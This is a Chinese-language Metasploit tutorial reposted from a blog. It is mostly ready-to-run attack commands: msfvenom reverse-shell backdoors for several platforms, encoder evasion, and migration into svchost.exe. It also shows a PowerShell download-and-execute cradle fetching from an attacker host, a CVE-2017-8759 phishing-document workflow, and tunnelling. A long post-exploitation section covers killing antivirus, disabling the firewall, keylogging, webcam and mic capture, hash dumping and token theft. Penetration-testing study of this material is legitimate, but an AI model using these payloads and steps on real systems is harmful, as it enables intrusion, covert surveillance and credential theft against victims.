0
0

Metasploit (MSF) 使用:包含基本使用、payload生成、后渗透模块使用

博主根据日后学习会不断更新文章，后续用到新的功能会不定时更新。

以下内容只供学习使用，请勿违法使用！

一、常用指令

msfconsole: 启动msf
use: 引用msf模块  // use 模块名
search: 搜索模块
show: 查看选项         //当进入模块可是使用show option查看模块需要的参数选项，使用show targets和show payloads可查看target和payload选项参数
set: 设置选项参数
session: 操作msf session会话命令
                session -i id: 使用该session
                session -l: 列出所有session id
                如果需要退出删除session会话可以使用session -k 会话号，同样使用-K可以删除全部session会话
jobs: 查看msf后台监听选项
                jobs -K: 删除全部监听
                jobs -k 监听id: 删除指定监听
其他命令: cd, pwd, ls等等就等同于终端命令大部分都可以直接使用

二、监听模块

2.1 防止假session

实战中，经常会遇到假session或者刚连接就断开的情况，这里需要补充一些监听参数，防止假死或假session
msf6 exploit(multi/handler) > set ExitOnSession false
可以在接收到session后继续监听端口，保持侦听

2.2 实现后台持续监听

方法一：
msf6 exploit(multi/handler) >exploit -j -z
使用exploit -j -z 可以在后台持续监听，-j为后台任务，-z为持续监听
方法二：
msf6 > handler -H 192.168.1.1 -P 1122 -p windows/meterpreter/reverse_tcp

使用jobs命令查看和管理后台任务，jobs -K可结束所有任务,jobs -k 任务号 结束指定监听

三、msfvenom(payload生成模块)

新版本中，msfwenom是老版本msfpayload和mafencode的结合体，用于创建后门程序，建立会话连接。

3.1 参数介绍

-l, --list      <type>                列出指定模块的所有可用资源，包括：payloads，encodes，nops，all
-p, --payload   <payload>         指定所需要使用的payload，也可以使用自定义payload，几乎支持全平台
-f, --format    <format>            指定输出格式
-e, --encoder   <encoder>            指定需要使用的encode，指定需要使用的编码
-a, --arch      <arch>                指定payload的目标架构，例如x86｜x64｜x86_64
--platform      <platform>        指定payload的目标平台
-o, --out       <path>                指定创建好的payload存放位置
-b, --bad-chars <list>                设置规避字符集，指定需要过滤的坏字符例如：不使用'\x0f','\x00'
-n, --nopsled   <length>            为payload预先指定一个NOP滑动长度
-s, --space     <length>            指定有效攻击和在的最大长度，就是文件的大小
-i, --iterations<count>                指定payload的编码次数
-c, --add-code  <path>                指定一个附加的win32shellcode文件
-x, --template  <path>                指定一个自定义的可执行文件作为模版，并将payload嵌入其中
-k, --keep                                        保护模版程序的动作，注入的payload作为一个新的进程运行
-v, --var-name  <value>                指定一个自定义的变量，以确定输出格式
-t, --timeout   <second>            从STDIN读取负载时等待的秒数（默认值为30，0表示禁用）
--shellest                                        最小化生成payload
-h, --help                                        帮助
--help-formats                                 查看msf支持的输出格式列表

3.2 常用指令

msfvenom --list payloads        查看所有的payload，可以简写   -lp
msfvenom --list encoders        查看所有编码器，同样可以简写    -le
background: 挂起退出不结束远控
run vnc: vnc远程监视，修改配置可以实现远程监视和远程操作
getuid: 获取系统uid
getsystem: 获取system权限

3.3 payload 生成

指定的LHOST,LPORT均为攻击者主机监听的IP和端口，可以不使用-o进行指定输出，直接使用>一样可以输出后门文件。

3.3.1 Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f elf > shell.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

3.3.2 Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe

3.3.3 Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f macho > shell.macho

3.3.4 Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f raw > shell.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 R > shell.apk

3.4 payload 可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程，这种进程很容易被发现和关闭，在后期想要做持久化的时候只能再使用migrate进行。
在生成payload时候可以直接使用一下命令，将payload直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
解释：
p: 指定payload模块
LHOST LPORT: 指定监听的主机IP和端口
e i: 指定编码格式和编码次数
b: 指定坏字符
a: 指定目标架构
platform: 指定操作系统
PrependMigrate=true: 指定进程迁移
PrependMigrateProc=svchost.exe: 指定迁移的进程名称
f: 指定文件格式
o: 指定保存名默认保存当前目录

执行这个生成的payload需要满足第一系统权限可以对进行进行迁移，第二知道进程名称

3.5 脚本 payload 生成

3.5.1 Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

3.6 Powershell 配合 msf 无文件攻击

生成ps脚本：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f psh-reflection > x.ps1
设置监听：
handler -H 192.168.1.2 -P 1122 -p windows/x64/meterpreter/reverse_tcp
客户端运行即可连接
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.4/x.ps1')

注意：该功能配合钓鱼文件，或者getshell后才可利用

3.7 msf 宏钓鱼攻击

// 使用环境
// 攻击主机：ubuntu 安装有msf
// 目标主机：windows7
1、提前下载生成钓鱼文件的脚本
https://github.com/bhdresh/CVE-2017-8759.git
2、在当前目录生成 lnvoice.rtf钓鱼文件
python2 cve-2017-8759_toolkit.py -M gen -w lnvoice.rtf -u http://10.1.101.3/logo.txt
3、在在当前文件夹使用msf生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.101.3 LPORT=1122 -f exe > shell.exe
4、msf和python钓鱼脚本同时开启监听
    python钓鱼脚本开启监听  //监听为本级80端口需提前排查是否被占用
    python2 cve-2017-8759_toolkit.py -M exp -e http://10.1.101.3/shell.exe -l shell.exe
    msf开启监听
    handler -H 10.1.101.3 -P 1122 -p windows/x64/meterpreter/reverse_tcp
5、目标主机运行invoice.rtf即可在msf看到主机成功上线

注意：
生成的文件均在同一目录，使用的python环境为python2，只是提供学习，目前该钓鱼文件运行会被系统拦截，需要提前关闭防火墙，如果成功上线主机，可以使用进程迁移，迁移到指定进程，避免文件关闭session会话关闭。


3.8 multi/script/web_delivery 模块

该模块为脚本后门模块，可以做钓鱼使用，生成的为脚本命令，属于无文件后门。

  1. 模块引用： // 可以通过search搜索然后use引用也可以直接输入全程urs引用search web_deliveryuse 1
  2. 设置参数：需要设置LHOST、LPORT、payloads、targets // 使用show命令进行查看选项可以配置的参数配置LHOST(攻击者IP): set lhost 192.168.3.179配置LPOER(攻击者prot): set lport 1122配置payloads(攻击的方式): set payload windows/meterpreter/reverse_tcp配置targets(攻击使用的命令类型): show targets 选择执行的方式改种payload支持：PHP、PSH、Regsvr3等方式 set target 6 设置target设置完成后直接使用run生成后门命令msf设置监听: handler -H 192.168.3.179 -P 1122 -p windows/meterpreter/reverse_tcp目标主机运行命令即可上线

3.8.1 实例

1、window生成powershell命令上线
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 6  //此时6代表的是：PSH (Binary)
设置完成直接run，使用jobs可以看到本地已经在监听当前设置的端口，在目标主机运行即可上线
2、windows Regsvr32命令上线主机
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 3  //此时3代表的是：Regsvr32
设置完成直接run，使用jobs可以看到本地已经在监听当前设置的端口，在目标主机运行即可上线
3、php环境使用php.exe执行命令上线  //此时需要另外一个php payload
设置主机以及端口处省略
设置payload: set payload php/meterpreter/reverse_tcp
设置target: show targets、set target 1  //此时1代表的是：PHP
设置完成直接run，使用jobs可以看到本地已经在监听当前设置的端口，在目标主机运行即可上线

// 更改模块需要从新开启另一个监听，注意端口不可以重复需要修改端口
// 如果设置好payload执行失败，需要更该payload为x64，从新按照以上步骤执行
// set payload windows/x64/meterpreter/reverse_tcp

3.9 建立隧道通过公网后门连接

此时需要借助网址：https://ngrok.cc/获取免费隧道，让目标主机与网站隧道建立连接然后通过隧道最终与攻击机建立连接

根据网站介绍自行配置隧道

以window 后门为例

启动隧道: ./sunny clientid 隧道id
直接使用: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
LHOST: set LHOST 隧道地址            //可以对获取的隧道地址进行域名解析填写IP可以避免域名解析失败
LPORT: set LPORT 隧道端口
配置监听: handler -H 127.0.0.1 -P 10503 -p windows/meterpreter/reverse_tcp

// 同样如果执行失败可以更好x64再次尝试

四、后渗透模块

在msf建立监听连接后，使用session获取的会话，此时就需要使用后渗透模块-meterpreter，并不是建立会话后后渗透模块都可以使用，还需要根据实际情况目标的操作系统以及获取的权限使用。

4.1 常用模块

1、获取系统运行平台: sysinfo
2、提取系统信息: run scraper
3、查看进行: ps
4、迁移进行: migrate 1774
5、查看文件: cat 文件
6、查看当前路径: pwd
7、搜索文件: search -d c:\\ -f *.doc
8、其他命令类似于Linux命令: cd, rm, mkdir, rmdir, dir, mv等等
9、上传文件: upload 本机路径 上传目标路径
10、下载文件: download 目标路径 本机路径
11、进程迁移: run post/windows/manage/migrate
12、关闭杀软: run post/windows/manage/killav
13、通过shell来关闭防火墙: netsh advfirewall set allprofiles state off 
14、截屏: screenshot
15、查看桌面: run vnc
16、开启3389: run post/windows/manage/enable_rdp
17、提权模块: mult/recon/local_exploit_suggester 设置过去的session ID
                 执行之后会返回可以提权的模块，然后进行调用，设置session提权，成功会返回新的会话
18、运行程序: execute -f notepad.exe 加H可以进行隐藏运行
19、摄像头命令:
                    音频录制: record_mic
                    查看摄像头接口: webcam_chat
                    查看摄像头列表: webcam_list
                    摄像头视频获取: webcam_stream
20、端口转发: 作用如果目标机器在内网开放3389，外网无法连接，这个时候进行端口转发，利用会话将目标机器3389转发到本地，实现3389远程连接
                    -L: 要监听的本地主机ip（可选）
                    -h: 帮助
                    -l: 要监听的本地端口
                    -p: 要连接到的远程端口
                    -r: 要连接的远程主机ip
                    portfwd add -l 4444 -p 3389 -r 10.211.55.7 // 把目标机10.211.55.7的3389端口转发到本机127.0.0.1的4444端口，直接进行连接本机4444端口即可3389远程连接，同样如果本地两台电脑，另一台电脑直接远程访问开启4444主机的IP+4444可以直接进行连接，，，，注意端口转发并不需要高权限上线就可以直接转发。
21、键盘记录:
                keyscan_start: 开启键盘记录功能
                keyscan_dump: 显示捕捉的键盘记录信息
                keyscan_stop: 停止键盘记录
21、获取hash值: load mimikatz（32位）load kivi（64位）此时调用完成就直接可以使用该模块的命令，但是使用该命令需要拥有系统system权限，同样也可以使用hashdump导出
22、盗取身份令牌: use incognito
                    list_tokens -u: 列出目标主机用户组可用的令牌，有的话可以直接进行身份切换
                    list_tokens -g: 列出目标主机用户组可用的令牌，有的话可以直接进行身份切换
                    impersonate_token LUCKYXBDC6\luckyx: 切换令牌身份
标签： 安全 网络 网络安全
本文转载自: https://blog.csdn.net/x319427393/article/details/129366648
版权归原作者 F0ne 所有， 如有侵权，请联系我们删除。
登录后发布评论

“Metasploit (MSF) 使用:包含基本使用、payload生成、后渗透模块使用”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

docker 安装 mysql

使用idea和vecode创建vue项目并启动（超详细）

科普文：微服务之SpringBoot性能优化器动态线程池【Dynamic-Tp】特性和源码解读

[实时计算flink]双流JOIN语句

【若依】若依Vue3前端拆解分析--布局分析--index篇

Spring Boot 3.4.0 发行：革新与突破的里程碑

索引（MySQL）

文章导航